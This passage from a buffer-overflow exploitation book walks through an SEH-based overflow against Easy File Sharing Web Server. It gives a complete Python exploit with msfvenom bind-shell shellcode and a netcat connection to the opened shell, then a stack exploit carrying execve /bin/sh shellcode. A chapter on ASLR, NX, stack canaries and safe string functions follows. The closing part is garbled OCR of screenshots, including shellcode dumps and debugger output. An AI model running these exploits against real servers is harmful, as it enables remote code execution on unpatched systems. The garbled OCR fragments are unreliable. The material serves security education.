4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
 
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n") 
s.close()

Close the Immunity Debugger, and re-run Easy File Sharing Web Server. Run the Immunity Debugger as an administrator and attach it to fsws, then run the exploit.

The application crashed; let's use mona to perform some analysis on our pattern:



!mona findmsp

The output of the preceding command can be seen in the following screenshot: 



So the offset of the nSEH should be after 4061.

Let's confirm that by restarting the application and the Immunity Debugger:

#!/usr/bin/python
import socket


junk = 'A'*4061
nSEH = 'B'*4
SEH = 'C'*4
pad = 'D'*(5000-4061-4-4)

injection = junk + nSEH + SEH + pad
 
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n") 
s.close()

Now, let's run the exploit:



Hit Shift + F9 to bypass the exception:



Get the SEH chain (Alt + S):



Let's look for the address 04AD6FAC in the stack:

 

Our Bs are in the next SEH, and our Cs are in the SEH. Now, we have control over SEH for this application.



            

            
        
    
        

                            
                    Injecting shellcode 

                
            
            
                
So, this is what the shellcode looks like:



What we need now is to set nSEH for a short jump operation, \xeb\x10, and set SEH with an address to the pop, pop, and ret operations. Let's try to find one using mona.

First, set the log file location in the Immunity Debugger:

!mona config -set workingfolder c:\logs\%p

Then, extract the SEH details:

!mona seh

The following screenshot shows the output for the preceding command:



We need an address without any bad characters, so open the log file from c:\logs\fsws\seh.txt.

Let's select one, but remember to avoid any bad characters:

0x1001a1bf : pop edi # pop ebx # ret  |  {PAGE_EXECUTE_READ} [ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)

Here is our address for SEH 0x1001a1bf:

SEH = '\xbf\xa1\x01\x10' 

Now, it is time to generate and bind TCP shellcode on port 4321:

$ msfvenom -p windows/shell_bind_tcp LPORT=4321 -b '\x00\x20\x25\x2b\x2f\x5c' -f python

buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"
buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"

This is what the structure of our exploit should look like:



Let's take a look at our final exploit:

#!/usr/bin/python
import socket

junk = 'A'*4061
nSEH='\xeb\x10\x90\x90'
SEH = '\xbf\xa1\x01\x10' 
NOPs='\x90'*20

buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"
buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"

injection = junk + nSEH + SEH + NOPs + buf
 
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n") 
s.close()

Close the application and start it again. Then, run the exploit and run nc on port 4321:

$ nc 192.168.129.128 4321

The output of the preceding command is shown as follows:



It works fine!



            

            
        
    
        

                            
                    Summary 

                
            
            
                
In this chapter, we did a real scenario on something new, which is SEH-based buffer overflow, and looked at how to get control over SEH and exploit it.

What we have done in this book so far is to just scratch the surface of this type of attack, and you should practice this more because this is not the end.

In the next chapter, we will talk about security mechanisms in systems and how to make your code safer.



            

            
        
    
        

                            
                    Detection and Prevention

                
            
            
                
Finally, to the last chapter of the book. Here, we will talk about security mechanisms to prevent buffer overflow attacks. Let's divide these mechanisms into three parts:


	System approach

	Compiler approach

	Developer approach





            

            
        
    
        

                            
                    System approach

                
            
            
                
In this part, we will talk about built-in mechanisms inside some system kernels to prevent techniques, such as ASLR, in buffer overflow attacks.

Address Space Layout Randomization (ASLR) is a mitigation technique against overflow attacks that randomizes memory segments, which prevents hardcoded exploits. For example, if I want to use the return-to-lib technique, I have to get the address of the function, which will be used in the attack. However, since the addresses of memory segments are randomized, the only way to do it is to guess that location, and yes, we use this technique to bypass NX protection, but not bypass ASLR.

For security geeks out there, don't worry; there are many ways to get around ASLR. Let's take a look at how ASLR really works. Open your Linux victim machine and make sure that ASLR is disabled:

$ cat /proc/sys/kernel/randomize_va_space

The output of the preceding command can be seen in the following screenshot: 



ASLR is disabled since the value of randomize_va_space is 0. If it is enabled, set it to 0:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now, let's take a look at the addressing layout for any application, for example, cat:

$ cat

Then, open another Terminal. Now, we need to get the PID of this process using the following command:

 $ ps aux | grep cat

The output of the preceding command can be seen in the following screenshot: 



The PID of cat is 5029. Let's get the memory layout for this process:

$ cat /proc/5029/maps

The output of the preceding command can be seen in the following screenshot: 



Now, let's stop the cat process using Ctrl + C, and then start it again:

$ cat

Then, from another Terminal window, run the following command:

$ ps aux | grep cat

The output of the preceding command can be seen in the following screenshot: 



Now, the PID of cat is 5164. Let's get the memory layout for this PID:

$ cat /proc/5164/maps

The output of the preceding command can be seen in the following screenshot: 



Take a look at the memory layout of both PIDs; they are exactly the same. Everything is statically allocated in memory, such as libraries, stack, and heap.

Now, let's enable ASLR to see the difference:

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Make sure that ASLR is enabled:

$ cat /proc/sys/kernel/randomize_va_space

The output of the preceding command can be seen in the following screenshot: 



Then, let's start any process, for example, cat:

$ cat

Then, from another Terminal window, run the following command:

$ ps aux | grep cat

The output of the preceding command can be seen in the following screenshot: 



The PID of cat is 5271. Now, read its memory layout:

$ cat /proc/5271/maps

The output of the preceding command can be seen in the following screenshot: 



Now, let's stop cat and re-run it again:

$ cat

Then, let's catch the PID of cat:

$ ps aux | grep cat

The output of the preceding command can be seen in the following screenshot: 



Now, read its memory layout:

$ cat /proc/5341/maps

The output of the preceding command can be seen in the following screenshot: 



Let's compare both addresses. They are totally different. Stack, heap, and libraries are all now dynamically allocated, and all addresses will become unique for every execution.

Now to the next section, which is the compiler approach, such as executable-space protection and canary.



            

            
        
    
        

                            
                    Compiler approach 

                
            
            
                
Executable-space protection is a technique used to mark some segments in memory as non-executable, such as stack and heap. So, if we even succeeded to inject a shellcode, then it would be impossible to make that shellcode run.

Executable-space protection in Linux is called non-executable (NX), and in Windows it is called Data Execution Prevention (DEP).

Let's try to use our example from Chapter 6, Buffer Overflow Attacks:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[256];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

Now, compile it with NX disabled:

$ gcc -fno-stack-protector -z execstack nx.c -o nx

Open it in GDB:

$ gdb ./nx

Then, let's run this exploit:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

Execute the exploit:

$ python exploit.py

Inside GDB, run the following command:

$ run $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 



Now, let's try the same exploit but with NX enabled:

$ gcc -fno-stack-protector nx.c -o nx

Then, open it in GDB and run the following command:

$ run $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 



So, why did the code get stuck at this address?



Because it refuses to even execute our No Operation (nop) from the stack, as the stack is now non-executable.

Let's talk about another technique, which is stack canary or stack protector. Stack canary is used to detect any attempt to smash the stack.

When a return value is stored in a stack, a value called canary value is written before storing the return address. So, any attempt to perform a stack overflow attack will overwrite the canary value, which will cause a flag to be raised to stop the execution because there is an attempt to smash the stack:



Now, try to use our previous example, but let's enable the stack canary:

$ gcc -z execstack canary.c -o canary

Then, let's re-run it inside GDB and try our exploit:

$ run $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 



Let's take a look at why it failed:



It tried to compare the original canary value with the stored value, and it failed because we did overwrite the original value with whatever was there in our exploit:



And as you can see, stack smashing was detected!
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Now to the final part, which is the developer approach, where any developer should do all they can to protect their code against overflow attacks. I'll talk about C/C++, but the concept still remains the same.

First, when using any string handling function, you should use safe functions. The next table shows unsafe functions and what to use instead:




	Unsafe functions
	Safe functions



	strcpy
	strlcpy



	strncpy
	strlcpy



	strcat
	strlcat



	strncat
	strlcat



	vsprintf
	vsnprintf or vasprintf



	sprintf
	snprintf or asprintf





Also, you should always use the sizeof function to calculate the size of a buffer in your code. Try to be precise when it comes to the buffer size by mixing it with a safe function; then, your code is much safer now.
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In the final chapter of the book, we discussed some protection techniques in operating systems and also some techniques in the C compiler, such as GCC. Then, we moved on to how to make your code safer.

This is not the end. There are more ways to work around each protection technique. With this book, you have been provided with strong basics to continue your journey. Keep going and I promise you that you will master this domain!
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If you enjoyed this book, you may be interested in these other books by Packt:



Metasploit Bootcamp

Nipun Jaswal

ISBN: 978-1-78829-713-4


	Get hands-on knowledge of Metasploit

	Perform penetration testing on services like Databases, VOIP and much more

	Understand how to Customize Metasploit modules and modify existing exploits

	Write simple yet powerful Metasploit automation scripts

	Explore steps involved in post-exploitation on Android and mobile platforms





Mastering Metasploit - Second Edition

Nipun Jaswal

ISBN: 978-1-78646-316-6


	Develop advanced and sophisticated auxiliary modules

	Port exploits from PERL, Python, and many more programming languages

	Test services such as databases, SCADA, and many more

	Attack the client side with highly advanced techniques

	Test mobile and tablet devices with Metasploit

	Perform social engineering with Metasploit

	Simulate attacks on web servers and systems with Armitage GUI

	Script attacks in Armitage using CORTANA scripting





            

            
        
    
        

                            
                    Leave a review - let other readers know what you think

                
            
            
                
Please share your thoughts on this book with others by leaving a review on the site that you bought it from. If you purchased the book from Amazon, please leave us an honest review on this book's Amazon page. This is vital so that other potential readers can see and use your unbiased opinion to make purchasing decisions, we can understand what our customers think about our products, and our authors can see your feedback on the title that they have worked with Packt to create. It will only take a few minutes of your time, but is valuable to other potential customers, our authors, and Packt. Thank you!
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>>> string = 'hello world\n'
>>> string[::-1].encode("hex')
'0a646c7267772066c6C6568"
>
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# objdump -M intel -D bind-shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -
d: |cut -f1-7 -d* ' | tr-s ' ' | tr \t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g|
" | paste -d '' -s
\x48\x31\xCO\x48\x83\xCcO\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xC6|
\x48\x31\xd2\x0f\x05\x48\x89\XxC7\x48\x31\xCcO\X50\x66\x68\x04\xd2\x66\x6a\x02\x48|
\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xCO\x48\x83\xcO\x31\x0f\x05\x48\x31
\XCcO\x48\x83\xc0\x32\x48\x31\xf6\x48\xFF\xCc6\x0F\x05\x48\x31\xCcO\x48\x83\xCO\x2b]
\x48\x31\xf6\x48\x31\xd2\x0F\x05\x48\x89\xCc3\x48\x89\xdf\x48\x31\xCcO\x48\x83\ x|
\x21\x48\x31\xf6\x0F\x05\x48\x31\xCO\x48\x83\xCcO\x21\x48\xFf\xCc6\x0F\x05\x48\x31
\xCcO\x48\x83\xc0\x21\x48\xff\xc6\x0F\x05\x48\x31\xCO\x50\x48\x89\xe2\x48\xbb\x2f|
\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xcO\x3b]
\x0f\x05

¢
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- = - = ---stack = - = ]

0000| ©0x77FFFIFFdf 15 ("A7AAMAATAABAANAAJAAOAAOAAKAAPAATAAQAANAARAAAASAADAATAAGAAUAAT ARVAALAAWAAUA
AXAAVAAYAAWAAZAAXARYAAZ A%KA S AKBAKSARNAKCAS - A% (AXDA%; A%) AKEA%AAKOAKFARDAKR 1A% GAKCA%2ARHARIARSAX T Ae
A%AA% JAKTAXSAKKAKGAKGARLARD " . . . )

0008| 07711 17dr20 ("AABAANAAJAAIAAOAAKAAPAATAAQAANAARAAOAASAAPAATAAGAAUAAT AAVAALAAWAAUAAXAAVAAY
AAWAAZAAXAAYAAZASKIAKSAKBAKS ARNAKCAT - A% (AKDAK ; A% ) AKEAKAAKOARF ARDAK L AKGAKCA%2ARHAKAAR A% T A% AR A% IAK
FA%SAKKARGANGAKLAKAKTAKMAR" . . . )

0016] ©x /77 TFITdr26 ("JAAIAAOAAKAAPAATAAQAAMAARAAOAASAADAATAAGAAUAATAAVAALAAHAAUAAXAAVAAYAAWAAZAA
XAAYAAZAKKARSAKBAKSAKNAKCAK - A% (AXDAY ; A% ) AKEARAAROAKF AKDAK 1AKGAXCAR2AKHAKIAL 3AK T AN AR AAK IAK T A% SARKA
KGAKGAKLAKAKTARMARLARBAUNA" . . . )

0024| ©x 77T TTII1d750 ("AKAAPAALAAQAAMAARAACAASAAPAATAAGAAUAATAAVAALAARAAUAAXAAVAAYAAWAAZAAXAAYAAZA
KKAY%S AKBASAKNAKCA% - A% AKDAS ; A% ) AKEA%AKOAKF AKAKTAKGARCA% 2 AKHAKAAK AR TA%A%AAK JAKFAK SARKARGAKCAL
AKhAKTARMA%LA%EAKNA% JARIAXO” . . . )

0032| ©x7FFFFT{Fdf35 ("AAQAAMAARAAOAASAADAATAAQAAUAATAAVAALAAWAAUAAXAAVAAY AAWAAZAAXAAYAAZAKKAKSAKE
AKSANNAKRCAY - A% (AKDA ; A% ) AKEA%BAKOAKF ARDAR1AKGA%CAL 2AKHARIAR SAKT A% AL AAK IAKFARSAKKAKGAKOAKLANNAKRT AL
MA%LAKBAKRNA% JAKOAKOAKKAKPAK” . . . )

0040| 0777111 (df40 ("RAAOGAASAADAATAAGAAUAArAAVAALAAHAAUAAXAAVAAYAANAAZAAXARYAAZ ARKARSAKBAKSAKNA.
CA% - A% (AXDA% ; A% ) A%EA%AAKOAKFARDAKR 1 AKGAKCA% 2ARHARIA% A% A%EAKAAKR IAKT A% S AKKAKGAKGAKLARDAKT AKMAKLAKSA
ANAK I A%OAKOAKKARPARLAXQARMA” . . . )

0048] 07771 TFFdran ("ADAATAAGAAUAArAAVAALAAWAAUAAXAAVAAYAAWAAZAAXAAYAAZAKKAKSAKBAXS ARNAKCAS - A% (A
ADASS; A% ) A% EA% AAKOAKRF ANDAK 1 A%GAKC AR 2ARHAKAA A% T A% EARAAKR IAKT A% SAKKARGANGARLABA T AKMA% L ANBARNAL JA%O
AKOASKARPAR L AKQAKMARRAKOAKS " . - . )

0056] 071170750 ("AAUAAFAAVAALAAWAAUAAXAAVAAYAAWAAZAAXAAYAAZAKKATSAKBAKSARNAKCAS - A%( ANDA%; A% )
AKEA%aAXOAXFA%DAK 1AXGAXCAR2AXHAKIAK 3A% T AXCAKAAR IAK FAKSARKARGARGAKLAKAKTARMAKLAXBAKNAL JAKOAKOARKA%
PAKLA%QARNARRAKOARSAKPAKTAR" . . . )

[ - - - - - - - - i

Legend: codv, data, rodata, value

stopped reason: - (.

6Xx09000000864005b9 in overflow ()

db - pedas
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stack@ubuntu

]

stackgubuntu:~$ ./buffer $(cat input.txt)
Hey!! , you succeeded
stackgubuntu:~$

stack@ubuntu:~$
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r code-
6x4005fb <main>: push  rbp
6x4005fc <main+l>: mov  rbp,rsp
6x4005FF <main+d>: sub  rsp,0x20

=> 0x400603 <main+8>: mov  DWORD PTR [rbp-ox14],edi
6X400606 <main+11>: mov  QWORD PTR [rbp-0x26],rsi
0x40060a <main+15: mov DWORD PTR [rbp-0x4],0x1
0x400611 <main+22: mov rax,QWORD PTR [rbp-8x20
6x400615 <main+26>: add  rax,0x8

- stack-

Invalid $SP address: @xffffdebo

#

Legend: code, data, rodata, value

Stopped reason: il

0x0000000000400603 in main ()

gdb-pedas I

0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow

1
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Virtual Network Editor (<]

Name Type | External Connection Host Connection DHCP Subnet IP Address

vmnet0 bridged auto-bridging
vmnetl host-only none vmnetl
vmnet8 NAT ~ NAT vmnet8 yes

yes  192.168.129.0
192.168.238.0

vmnet0
® Bridged (connect VMs directly to the external network)

Bridged to: | Automatic < || Automatic Settings...

© NAT (share host's IP address with VMs)

© Host-only (connect VMs internally in  private network)

ervice to distribute IP addr

0O Use local DHCP

vmnet0) to this network

O Connect a host virtual adapter (

K

Subet IP: | Subnet m;

ubne

natically select an unus

Leave blank

Help
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776F000E 50 Nop
77680008 50 xop

77650010 50 Nop

776R0011 S0 xop

776R0012 0 Nop

77650013 50 op

776R0014 30 Nop

776R0015 0 Nop

77650016 50 Nop

77650017 50 Nop

776R0018 S0 Nop

77650015 0 xop

7765001 50 Nop

77650018 50 op

7765001 50 Nop

77650010 0 Nop

77650015 0 Nop

7765001 50 xop

776F0020  BBAC24 04 MOV ECK, DWORD PTR S5: [E5P+4]
776§0024  Fesl 08 06 TSST BYTE PTR DS: (ECKH41,E
776R0028 74 08 JE SHORT ntdll.776¥002F
776§002A EB B11D0I00 CALL nvdll.ZeTesthler:
776F002F BB 01000000 MOV EAX,1

77650038 C2 1000 RETN 10

77650037 50 Nop

77670038 8D8424 DC020000 LEA EAX,DWORD PTR S5:[259+25C]
77670037 64:8B0D 0000000(MOV ECX, DHORD PTR ¥S:[0]
776F0046 BA 20006E77 MOV EDX,ntdll.776F0020
Recurn to 77775526 (meall 77775826)
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# nasm -felf64 hello-world.nasm -o hello-world.o
#

# 1d hello-world.o -o hello-world

#

# ./hello-world

hello world

1
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stack@ubunt:
0
stack@ubuntu:~$

$ cat /proc/sys/kernel/randomize_va_space
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global _start

section text
_start

executable code

section .data

variables
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hello-world:

Disassembly of section .text:

0000000000400080 < start>:
400080 : eb 1f

0000000000400082 <code>:

400082 se
400083 bo o1
400085 : 48 31 ff
400088 : 48 83 c7 01
40008 48 31 d2
40008 : 48 83 c2 oc
400093 of 05
400095 48 31 co
400098 : 48 83 co 3c
40009¢: 48 31 ff
400097 : of 05
00000000004000a1 <string>:
4000a1: es dc ff ff ff
9000000000400026 <hello world:
400026 : 68 65 6C 6¢ 6f
4000ab: 20 77 6f
4000ae: 72 6
4000b0: 64

40001 0a

file format elf64-x86-64

jmp  4e0eal <string>
pop  rsi

mov  al,ex1
xor  rdi,rdi
add  rdi,ox1
